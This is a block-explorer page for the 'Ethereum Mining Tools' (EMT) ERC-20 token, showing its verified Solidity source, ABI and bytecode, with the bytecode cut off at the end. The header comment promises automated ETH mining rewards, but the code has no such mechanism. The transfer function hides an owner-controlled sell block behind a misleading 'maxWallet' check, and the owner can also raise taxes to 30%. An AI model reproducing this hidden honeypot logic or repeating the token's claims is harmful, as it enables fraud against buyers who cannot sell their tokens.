ETH Price: $3,422.62 (-2.15%)
Gas: 5 Gwei

Token

Ethereum Mining Tools (EMT)
 

Overview

Max Total Supply

1,000,000,000 EMT

Holders

6

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
GemPad Lock
Balance
50,000,000 EMT

Value
$0.00
0x10B5F02956d242aB770605D59B7D27E51E45774C
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
EMT

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-04-09
*/

// SPDX-License-Identifier: UNLICENSE

/*
    Website: https://www.emterc20.com/
    Telegram: https://t.me/EmtErc20
    Twitter/X : https://x.com/EmtbotErc20
    Bot : https://t.me/EmtErc20Bot

    EMT revolutionizes the way you earn Ethereum by introducing an innovative Telegram bot:
    -Seamlessly mine ETH directly from our reward pool!
    -Automated Mining: Buy "Miners", watch automated Ethereum mining from our pool.
    -Increased Rewards: More miners mean higher rewards, maximizing your investment potential.!
    -Referral Rewards: Invite friends, earn 5% forever on their purchases!
    -Hassle-free Withdrawals: Ensuring a seamless experience from mining to cashing out.
*/

pragma solidity 0.8.25;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract EMT is Context, IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = unicode"Ethereum Mining Tools";
    string private constant _symbol = unicode"EMT";
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address public _taxWallet;
    address public _devWallet;
    address public _miningShareWallet;

    uint public miningShare = 70;

    uint256 private _initialBuyTax=25;
    uint256 private _initialSellTax=25;
    uint256 private _finalBuyTax=2;
    uint256 private _finalSellTax=2;
    uint256 private _reduceBuyTaxAt=20;
    uint256 private _reduceSellTaxAt=20;
    uint256 private _preventSwapBefore=5;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
    uint256 public _maxWallet = _tTotal / 50;
    uint256 public _taxSwapThreshold= _tTotal / 1000;
    uint256 public _maxTaxSwap= _tTotal / 200;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = (_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[msg.sender] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = true;
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        uint256 taxAmount=0;
        require(to != address(0xdead));
        if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            require(tradingOpen, "Trading is not open");
            if (from == uniswapV2Pair) {
                require(balanceOf(to) + amount <= _maxWallet, "Exceeds the maxWallet.");
                _buyCount++;
            }

            if(to == uniswapV2Pair){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
                require(_maxWallet < _tTotal, "Exceeds the maxWallet.");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            _taxWallet,
            block.timestamp
        );
    }

    function startMining() external onlyOwner() {
        swapEnabled = true;
        tradingOpen = true;
    }

    function updateMaxWalletSize(uint amount) external onlyOwner {
        _maxWallet = amount;
    }
    
    function manualSwap() external onlyOwner {
        uint amount = min(balanceOf(address(this)), _maxTaxSwap);
        swapTokensForEth(amount);
    }

    function setFees(uint256 _newFees) external onlyOwner{
      require(_newFees<=30, "Max 30% fees allowed");
      _finalBuyTax=_newFees;
      _finalSellTax=_newFees;
      _initialBuyTax = _newFees;
      _initialSellTax = _newFees;
    }
    
    function excludeFromFees(address account, bool status) external onlyOwner {
        _isExcludedFromFee[account] = status;
    }

    function setMktAndDevWallets(address dev, address mkt, address mining) external onlyOwner {
        _devWallet = dev;
        _taxWallet = mkt;
        _miningShareWallet = mining;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_miningShareWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"status","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"miningShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFees","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"dev","type":"address"},{"internalType":"address","name":"mkt","type":"address"},{"internalType":"address","name":"mining","type":"address"}],"name":"setMktAndDevWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startMining","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"updateMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526046600755601960085560196009556002600a556002600b556014600c556014600d556005600e555f600f5560326009600a6100409190610483565b61004e90633b9aca00610498565b61005891906104af565b6010556103e861006a6009600a610483565b61007890633b9aca00610498565b61008291906104af565b60115560c86100936009600a610483565b6100a190633b9aca00610498565b6100ab91906104af565b6012556014805461ffff60a81b191690553480156100c7575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916331790556101266009600a610483565b61013490633b9aca00610498565b335f9081526001602081815260408084209490945560038152838320805460ff1990811684179091553084528484208054821684179055737a250d5630b4cf539739df2c5dacb4c659f2488d938490527ffb19a963956c9cb662dd3ae48988c4b90766df71ea130109840abe0a1b23dba88054909116909217909155601380546001600160a01b03191683179055825163c45a015560e01b81529251919263c45a015592600480830193928290030181865afa1580156101f6573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061021a91906104ce565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610279573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061029d91906104ce565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156102e7573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061030b91906104ce565b601480546001600160a01b0319166001600160a01b03929092169190911790556103323390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6103696009600a610483565b61037790633b9aca00610498565b60405190815260200160405180910390a36104f4565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156103db57815f19048211156103c1576103c161038d565b808516156103ce57918102915b93841c93908002906103a6565b509250929050565b5f826103f15750600161047d565b816103fd57505f61047d565b8160018114610413576002811461041d57610439565b600191505061047d565b60ff84111561042e5761042e61038d565b50506001821b61047d565b5060208310610133831016604e8410600b841016171561045c575081810a61047d565b61046683836103a1565b805f19048211156104795761047961038d565b0290505b92915050565b5f61049160ff8416836103e3565b9392505050565b808202811582820484141761047d5761047d61038d565b5f826104c957634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156104de575f80fd5b81516001600160a01b0381168114610491575f80fd5b611396806105015f395ff3fe60806040526004361061014a575f3560e01c806351bc3c85116100b357806395d89b411161006d57806395d89b41146103b9578063a9059cbb146103e4578063bf474bed14610403578063c024666814610418578063dd62ed3e14610437578063fbb32f001461047b575f80fd5b806351bc3c851461030d5780636f268a991461032157806370a0823114610340578063715018a61461037457806382247ec0146103885780638da5cb5b1461039d575f80fd5b806323b872dd1161010457806323b872dd1461025757806324887e8014610276578063313ce567146102955780633d18678e146102b05780634cb483b9146102cf57806351074725146102ee575f80fd5b806306fdde0314610155578063095ea7b3146101a45780630faee56f146101d357806311a63e17146101f657806318160ddd1461022d57806321b79d9814610241575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b50604080518082019091526015815274457468657265756d204d696e696e6720546f6f6c7360581b60208201525b60405161019b9190610f5b565b60405180910390f35b3480156101af575f80fd5b506101c36101be366004610fa4565b610490565b604051901515815260200161019b565b3480156101de575f80fd5b506101e860125481565b60405190815260200161019b565b348015610201575f80fd5b50600554610215906001600160a01b031681565b6040516001600160a01b03909116815260200161019b565b348015610238575f80fd5b506101e86104a6565b34801561024c575f80fd5b506102556104c6565b005b348015610262575f80fd5b506101c3610271366004610fce565b610511565b348015610281575f80fd5b5061025561029036600461100c565b610578565b3480156102a0575f80fd5b506040516009815260200161019b565b3480156102bb575f80fd5b506102556102ca36600461100c565b6105a6565b3480156102da575f80fd5b506102556102e9366004611023565b61062b565b3480156102f9575f80fd5b50600654610215906001600160a01b031681565b348015610318575f80fd5b50610255610693565b34801561032c575f80fd5b50600454610215906001600160a01b031681565b34801561034b575f80fd5b506101e861035a36600461106b565b6001600160a01b03165f9081526001602052604090205490565b34801561037f575f80fd5b506102556106e5565b348015610393575f80fd5b506101e860105481565b3480156103a8575f80fd5b505f546001600160a01b0316610215565b3480156103c4575f80fd5b5060408051808201909152600381526211535560ea1b602082015261018e565b3480156103ef575f80fd5b506101c36103fe366004610fa4565b610756565b34801561040e575f80fd5b506101e860115481565b348015610423575f80fd5b50610255610432366004611086565b610762565b348015610442575f80fd5b506101e86104513660046110c1565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610486575f80fd5b506101e860075481565b5f61049c3384846107b5565b5060015b92915050565b5f6104b36009600a6111e1565b6104c190633b9aca006111ef565b905090565b5f546001600160a01b031633146104f85760405162461bcd60e51b81526004016104ef90611206565b60405180910390fd5b6014805462ff00ff60a01b19166201000160a01b179055565b5f61051d848484610815565b61056e843361056985604051806060016040528060288152602001611339602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610c0f565b6107b5565b5060019392505050565b5f546001600160a01b031633146105a15760405162461bcd60e51b81526004016104ef90611206565b601055565b5f546001600160a01b031633146105cf5760405162461bcd60e51b81526004016104ef90611206565b601e8111156106175760405162461bcd60e51b815260206004820152601460248201527313585e080ccc09481999595cc8185b1b1bddd95960621b60448201526064016104ef565b600a819055600b8190556008819055600955565b5f546001600160a01b031633146106545760405162461bcd60e51b81526004016104ef90611206565b600580546001600160a01b039485166001600160a01b031991821617909155600480549385169382169390931790925560068054919093169116179055565b5f546001600160a01b031633146106bc5760405162461bcd60e51b81526004016104ef90611206565b305f908152600160205260408120546106d790601254610c47565b90506106e281610c5e565b50565b5f546001600160a01b0316331461070e5760405162461bcd60e51b81526004016104ef90611206565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f61049c338484610815565b5f546001600160a01b0316331461078b5760405162461bcd60e51b81526004016104ef90611206565b6001600160a01b03919091165f908152600360205260409020805460ff1916911515919091179055565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f61deac196001600160a01b0384160161082d575f80fd5b6001600160a01b0384165f9081526003602052604090205460ff1615801561086d57506001600160a01b0383165f9081526003602052604090205460ff16155b801561088657505f546001600160a01b03848116911614155b15610ad2576108b760646108b1600c54600f54116108a6576008546108aa565b600a545b8590610dd1565b90610e4f565b601454909150600160a01b900460ff166109095760405162461bcd60e51b81526020600482015260136024820152722a3930b234b7339034b9903737ba1037b832b760691b60448201526064016104ef565b6014546001600160a01b03908116908516036109a75760105482610941856001600160a01b03165f9081526001602052604090205490565b61094b919061123b565b11156109925760405162461bcd60e51b815260206004820152601660248201527522bc31b2b2b239903a34329036b0bc2bb0b63632ba1760511b60448201526064016104ef565b600f8054905f6109a18361124e565b91905055505b6014546001600160a01b0390811690841603610a47576109e260646108b1600d54600f54116109d8576009546108aa565b600b548590610dd1565b90506109f06009600a6111e1565b6109fe90633b9aca006111ef565b60105410610a475760405162461bcd60e51b815260206004820152601660248201527522bc31b2b2b239903a34329036b0bc2bb0b63632ba1760511b60448201526064016104ef565b305f90815260016020526040902054601454600160a81b900460ff16158015610a7d57506014546001600160a01b038581169116145b8015610a925750601454600160b01b900460ff165b8015610a9f575060115481115b8015610aae5750600e54600f54115b15610ad057610ad0610acb84610ac684601254610c47565b610c47565b610c5e565b505b8015610b4a57305f90815260016020526040902054610af19082610e90565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b419085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610b6c9083610eee565b6001600160a01b0385165f90815260016020526040902055610baf610b918383610eee565b6001600160a01b0385165f9081526001602052604090205490610e90565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610bf88585610eee565b60405190815260200160405180910390a350505050565b5f8184841115610c325760405162461bcd60e51b81526004016104ef9190610f5b565b505f610c3e8486611266565b95945050505050565b5f818311610c555782610c57565b815b9392505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610ca457610ca4611279565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610cfb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d1f919061128d565b81600181518110610d3257610d32611279565b6001600160a01b039283166020918202929092010152601354610d5891309116846107b5565b6013546004805460405163791ac94760e01b81526001600160a01b039384169363791ac94793610d939388935f9389939216914291016112a8565b5f604051808303815f87803b158015610daa575f80fd5b505af1158015610dbc573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b5f825f03610de057505f6104a0565b5f610deb83856111ef565b905082610df88583611319565b14610c575760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104ef565b5f610c5783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f2f565b5f80610e9c838561123b565b905083811015610c575760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104ef565b5f610c5783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c0f565b5f8183610f4f5760405162461bcd60e51b81526004016104ef9190610f5b565b505f610c3e8486611319565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146106e2575f80fd5b5f8060408385031215610fb5575f80fd5b8235610fc081610f90565b946020939093013593505050565b5f805f60608486031215610fe0575f80fd5b8335610feb81610f90565b92506020840135610ffb81610f90565b929592945050506040919091013590565b5f6020828403121561101c575f80fd5b5035919050565b5f805f60608486031215611035575f80fd5b833561104081610f90565b9250602084013561105081610f90565b9150604084013561106081610f90565b809150509250925092565b5f6020828403121561107b575f80fd5b8135610c5781610f90565b5f8060408385031215611097575f80fd5b82356110a281610f90565b9150602083013580151581146110b6575f80fd5b809150509250929050565b5f80604083850312156110d2575f80fd5b82356110dd81610f90565b915060208301356110b681610f90565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561113b57815f1904821115611121576111216110ed565b8085161561112e57918102915b93841c9390800290611106565b509250929050565b5f82611151575060016104a0565b8161115d57505f6104a0565b8160018114611173576002811461117d57611199565b60019150506104a0565b60ff84111561118e5761118e6110ed565b50506001821b6104a0565b5060208310610133831016604e8410600b84101617156111bc575081810a6104a0565b6111c68383611101565b805f19048211156111d9576111d96110ed565b029392505050565b5f610c5760ff841683611143565b80820281158282048414176104a0576104a06110ed565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b808201808211156104a0576104a06110ed565b5f6001820161125f5761125f6110ed565b5060010190565b818103818111156104a0576104a06110ed565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561129d575f80fd5b8151610c5781610f90565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156112f85784516001600160a01b0316835293830193918301916001016112d3565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261133357634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b2ce352c1ea1bfa4f876141a526462460e2732d7e22b47953d1c952958cb29d064736f6c63430008190033

Deployed Bytecode

0x60806040526004361061014a575f3560e01c806351bc3c85116100b357806395d89b411161006d57806395d89b41146103b9578063a9059cbb146103e4578063bf474bed14610403578063c024666814610418578063dd62ed3e14610437578063fbb32f001461047b575f80fd5b806351bc3c851461030d5780636f268a991461032157806370a0823114610340578063715018a61461037457806382247ec0146103885780638da5cb5b1461039d575f80fd5b806323b872dd1161010457806323b872dd1461025757806324887e8014610276578063313ce567146102955780633d18678e146102b05780634cb483b9146102cf57806351074725146102ee575f80fd5b806306fdde0314610155578063095ea7b3146101a45780630faee56f146101d357806311a63e17146101f657806318160ddd1461022d57806321b79d9814610241575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b50604080518082019091526015815274457468657265756d204d696e696e6720546f6f6c7360581b60208201525b60405161019b9190610f5b565b60405180910390f35b3480156101af575f80fd5b506101c36101be366004610fa4565b610490565b604051901515815260200161019b565b3480156101de575f80fd5b506101e860125481565b60405190815260200161019b565b348015610201575f80fd5b50600554610215906001600160a01b031681565b6040516001600160a01b03909116815260200161019b565b348015610238575f80fd5b506101e86104a6565b34801561024c575f80fd5b506102556104c6565b005b348015610262575f80fd5b506101c3610271366004610fce565b610511565b348015610281575f80fd5b5061025561029036600461100c565b610578565b3480156102a0575f80fd5b506040516009815260200161019b565b3480156102bb575f80fd5b506102556102ca36600461100c565b6105a6565b3480156102da575f80fd5b506102556102e9366004611023565b61062b565b3480156102f9575f80fd5b50600654610215906001600160a01b031681565b348015610318575f80fd5b50610255610693565b34801561032c575f80fd5b50600454610215906001600160a01b031681565b34801561034b575f80fd5b506101e861035a36600461106b565b6001600160a01b03165f9081526001602052604090205490565b34801561037f575f80fd5b506102556106e5565b348015610393575f80fd5b506101e860105481565b3480156103a8575f80fd5b505f546001600160a01b0316610215565b3480156103c4575f80fd5b5060408051808201909152600381526211535560ea1b602082015261018e565b3480156103ef575f80fd5b506101c36103fe366004610fa4565b610756565b34801561040e575f80fd5b506101e860115481565b348015610423575f80fd5b50610255610432366004611086565b610762565b348015610442575f80fd5b506101e86104513660046110c1565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610486575f80fd5b506101e860075481565b5f61049c3384846107b5565b5060015b92915050565b5f6104b36009600a6111e1565b6104c190633b9aca006111ef565b905090565b5f546001600160a01b031633146104f85760405162461bcd60e51b81526004016104ef90611206565b60405180910390fd5b6014805462ff00ff60a01b19166201000160a01b179055565b5f61051d848484610815565b61056e843361056985604051806060016040528060288152602001611339602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610c0f565b6107b5565b5060019392505050565b5f546001600160a01b031633146105a15760405162461bcd60e51b81526004016104ef90611206565b601055565b5f546001600160a01b031633146105cf5760405162461bcd60e51b81526004016104ef90611206565b601e8111156106175760405162461bcd60e51b815260206004820152601460248201527313585e080ccc09481999595cc8185b1b1bddd95960621b60448201526064016104ef565b600a819055600b8190556008819055600955565b5f546001600160a01b031633146106545760405162461bcd60e51b81526004016104ef90611206565b600580546001600160a01b039485166001600160a01b031991821617909155600480549385169382169390931790925560068054919093169116179055565b5f546001600160a01b031633146106bc5760405162461bcd60e51b81526004016104ef90611206565b305f908152600160205260408120546106d790601254610c47565b90506106e281610c5e565b50565b5f546001600160a01b0316331461070e5760405162461bcd60e51b81526004016104ef90611206565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f61049c338484610815565b5f546001600160a01b0316331461078b5760405162461bcd60e51b81526004016104ef90611206565b6001600160a01b03919091165f908152600360205260409020805460ff1916911515919091179055565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f61deac196001600160a01b0384160161082d575f80fd5b6001600160a01b0384165f9081526003602052604090205460ff1615801561086d57506001600160a01b0383165f9081526003602052604090205460ff16155b801561088657505f546001600160a01b03848116911614155b15610ad2576108b760646108b1600c54600f54116108a6576008546108aa565b600a545b8590610dd1565b90610e4f565b601454909150600160a01b900460ff166109095760405162461bcd60e51b81526020600482015260136024820152722a3930b234b7339034b9903737ba1037b832b760691b60448201526064016104ef565b6014546001600160a01b03908116908516036109a75760105482610941856001600160a01b03165f9081526001602052604090205490565b61094b919061123b565b11156109925760405162461bcd60e51b815260206004820152601660248201527522bc31b2b2b239903a34329036b0bc2bb0b63632ba1760511b60448201526064016104ef565b600f8054905f6109a18361124e565b91905055505b6014546001600160a01b0390811690841603610a47576109e260646108b1600d54600f54116109d8576009546108aa565b600b548590610dd1565b90506109f06009600a6111e1565b6109fe90633b9aca006111ef565b60105410610a475760405162461bcd60e51b815260206004820152601660248201527522bc31b2b2b239903a34329036b0bc2bb0b63632ba1760511b60448201526064016104ef565b305f90815260016020526040902054601454600160a81b900460ff16158015610a7d57506014546001600160a01b038581169116145b8015610a925750601454600160b01b900460ff165b8015610a9f575060115481115b8015610aae5750600e54600f54115b15610ad057610ad0610acb84610ac684601254610c47565b610c47565b610c5e565b505b8015610b4a